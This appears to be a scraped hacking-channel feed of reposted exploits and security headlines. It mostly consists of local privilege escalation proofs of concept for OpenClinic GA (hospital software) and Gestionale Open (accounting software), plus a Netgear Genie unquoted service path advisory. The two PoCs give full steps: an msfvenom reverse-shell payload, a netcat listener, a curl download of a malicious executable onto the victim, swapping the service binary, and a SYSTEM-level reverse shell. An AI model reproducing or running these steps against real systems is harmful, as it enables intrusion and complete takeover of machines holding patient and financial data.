Exploit Collector
Netgear Genie 2.4.64 Unquoted Service Path

https://2.bp.blogspot.com/-swqN45HZtSI/WWlvXv0Z4fI/AAAAAAAAIOY/czRV0nNAPTIk5N0xfOCTXuQJzRjI48a4wCLcBGAs/s1600/h53.png
Netgear Genie version 2.4.64 suffers from an unquoted service path vulnerability.

MD5 | cfe43ceba8f9996b699d361f196538db

Download
# Exploit Title: Netgear Genie 2.4.64 - Unquoted Service Path
# Exploit Author: Mert DAŞ
# Version: 2.4.64
# Date: 23.10.2021
# Vendor Homepage: https://www.netgear.com/
# Tested on: Windows 10

C:\Users\Mert>sc qc NETGEARGenieDaemon
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: NETGEARGenieDaemon
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\NETGEAR
Genie\bin\NETGEARGenieDaemon64.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : NETGEARGenieDaemon
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

Or:
-------------------------
C:\Users\Mert>wmic service get name,displayname,pathname,startmode |findstr
/i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
#Exploit:

A successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other security
applications where it could potentially be executed during application
startup or reboot. If successful, the local user's code would execute with
the elevated privileges of the application.


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
OpenClinic GA 5.194.18 Privilege Escalation

https://3.bp.blogspot.com/-p2bRUn4ag8U/WWlvPJDaCwI/AAAAAAAAIMw/gkQGiTtaXucRRVbpvBkwiWIbJMO4BFlLwCLcBGAs/s1600/h28.png OpenClinic GA version 5.194.18 suffers from a local privilege escalation vulnerability.

MD5 | 7779a9723079ebc5cce4b8d11f7f14baDownload # Exploit Title: OpenClinic GA 5.194.18 - Local Privilege Escalation
# Date: 2021-07-24
# Author: Alessandro Salzano
# Vendor Homepage: https://sourceforge.net/projects/open-clinic/
# Software Homepage: https://sourceforge.net/projects/open-clinic/
# Software Link: https://sourceforge.net/projects/open-clinic/files/latest/download
# Version: 5.194.18
# Tested on: Microsoft Windows 10 Enterprise x64

Open Source Integrated Hospital Information Management System.
OpenClinic GA is an open source integrated hospital information management system covering management of administrative, financial, clinical, lab, x-ray, pharmacy, meals distribution and other data. Extensive statistical and reporting capabilities.

Vendor: OpenClinic GA.

Affected version: > 5.194.18

# Details
# By default the Authenticated Users group has the modify permission to openclinic folders/files as shown below.
# A low privilege account is able to rename mysqld.exe or tomcat8.exe files located in bin folders and replace
# with a malicious file that would connect back to an attacking computer giving system level privileges
# (nt authority\system) due to the service running as Local System.
# While a low privilege user is unable to restart the service through the application, a restart of the
# computer triggers the execution of the malicious file.

The application also have unquoted service path issues.

(1) Impacted services.
Any low privileged user can elevate their privileges abusing MariaDB service:

C:\projects\openclinic\mariadb\bin\mysqld.exe
Details:
SERVICE_NAME: OpenClinicHttp
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : c:\projects\openclinic\tomcat8\bin\tomcat8.exe //RS//OpenClinicHttp
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : OpenClinicHttp
DEPENDENCIES : Tcpip
: Afd
SERVICE_START_NAME : NT Authority\LocalServic

--------

SERVICE_NAME: OpenClinicMySQL
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : c:\projects\openclinic\mariadb\bin\mysqld.exe --defaults-file=c:/projects/openclinic/mariadb/my.ini OpenClinicMySQL
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : OpenClinicMySQL
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
(2) Folder permissions.
Insecure folders permissions issue:
icacls C:\projects\openclinic
C:\projects\openclinic Everyone:(I)(OI)(CI)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
# Proof of Concept

1. Generate malicious .exe on attacking machine
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.102 LPORT=4242 -f exe > /var/www/html/mysqld_evil.exe

2. Setup listener and ensure apache is running on attacking machine
nc -lvp 4242
service apache2 start

3. Download malicious .exe on victim machine
type on cmd: curl http://192.168.1.102/mysqld_evil.exe -o "C:\projects\openclinic\mariadb\bin\mysqld_evil.exe"

4. Overwrite file and copy malicious .exe.
Renename C:\projects\openclinic\mariadb\bin\mysqld.exe > mysqld.bak
Rename downloaded 'mysqld_evil.exe' file in mysqld.exe

5. Restart victim machine

6. Reverse Shell on attacking machine opens
C:\Windows\system32>whoami
whoami
nt authority\system Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
FreeSWITCH 1.10.6 SIP Digest Leak

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
FreeSWITCH 1.10.6 SIP Flooding Denial Of Service

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
FreeSWITCH 1.10.5 SIP SUBSCRIBE Missing Authentication

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Gestionale Open 11.00.00 Privilege Escalation

https://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png
Gestionale Open version 11.00.00 suffers from a local privilege escalation vulnerability.

MD5 | 434cabbe8d061a0f0132600775b3babf

Download
# Exploit Title: Gestionale Open 11.00.00 - Local Privilege Escalation
# Date: 2021-07-19
# Author: Alessandro 'mindsflee' Salzano
# Vendor Homepage: https://www.gestionaleopen.org/
# Software Homepage: https://www.gestionaleopen.org/
# Software Link: https://www.gestionaleopen.org/wp-content/uploads/downloads/ESEGUIBILI_STANDARD/setup_go_1101.exe
# Version: 11.00.00
# Tested on: Microsoft Windows 10 Enterprise x64

With GO - Gestionale Open - it is possible to manage, check and print every aspect of accounting according to the provisions of Italian taxation.

Vendor: Gestionale Open srl.

Affected version: > 11.00.00
# Details
# By default the Authenticated Users group has the modify permission to Gestionale Open folders/files as shown below.
# A low privilege account is able to rename the mysqld.exe file located in bin folder and replace
# with a malicious file that would connect back to an attacking computer giving system level privileges
# (nt authority\system) due to the service running as Local System.
# While a low privilege user is unable to restart the service through the application, a restart of the
# computer triggers the execution of the malicious file.

The application also have unquoted service path issues.

(1) Impacted services.
Any low privileged user can elevate their privileges abusing MariaDB service:

C:\Gestionale_Open\MySQL57\bin\mysqld.exe
Details:
SERVICE_NAME: DB_GO
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Gestionale_Open\MySQL57\bin\mysqld.exe --defaults-file=C:\Gestionale_Open\MySQL57\my.ini DB_GO
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : DB_GO
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
(2) Folder permissions.
Insecure folders permissions issue:
C:\Gestionale_Open Everyone:(I)(OI)(CI)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
# Proof of Concept

1. Generate malicious .exe on attacking machine
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.102 LPORT=4242 -f exe > /var/www/html/mysqld_evil.exe

2. Setup listener and ensure apache is running on attacking machine
nc -lvp 4242
service apache2 start

3. Download malicious .exe on victim machine
type on cmd: curl http://192.168.1.102/mysqld_evil.exe -o "C:\Gestionale_Open\MySQL57\bin\mysqld_evil.exe"

4. Overwrite file and copy malicious .exe.
Renename C:\Gestionale_Open\MySQL57\bin\mysqld.exe > mysqld.bak
Rename downloaded 'mysqld_evil.exe' file in mysqld.exe

5. Restart victim machine

6. Reverse Shell on attacking machine opens
C:\Windows\system32>whoami
whoami
nt authority\system


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Leveraging Reflected XSS

IntroductionContinue reading on Medium »
Read more...

Dark Reading: Attacks/Breaches
Who's In Your Wallet? Exploring Mobile Wallet Security

Security flaws in contactless payments for transportation systems could lead to fraud for stolen devices, researchers find.

Dark Reading: Attacks/Breaches
Industrial Goods & Services Tops Ransomware Targets in 2021

While the industrial goods and services sector saw a decline in attacks during the third quarter, it remains the most targeted sector for ransomware this year.

___________________________
@hacking_Attack
@Hacking_Video

Leveraging Reflected XSS
https://thexssrat.medium.com/leveraging-reflected-xss-8125cb010988?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

IntroductionContinue reading on Medium » (https://thexssrat.medium.com/leveraging-reflected-xss-8125cb010988?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Microsoft Says Russia Hacked at Least 14 IT Service Providers this Year

https://a.thumbs.redditmedia.com/d4hzWJSQkgApWutPorVwq-FOiWgxj8xSkPDVIkzuQs0.jpg submitted by /u/eis3nheim
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video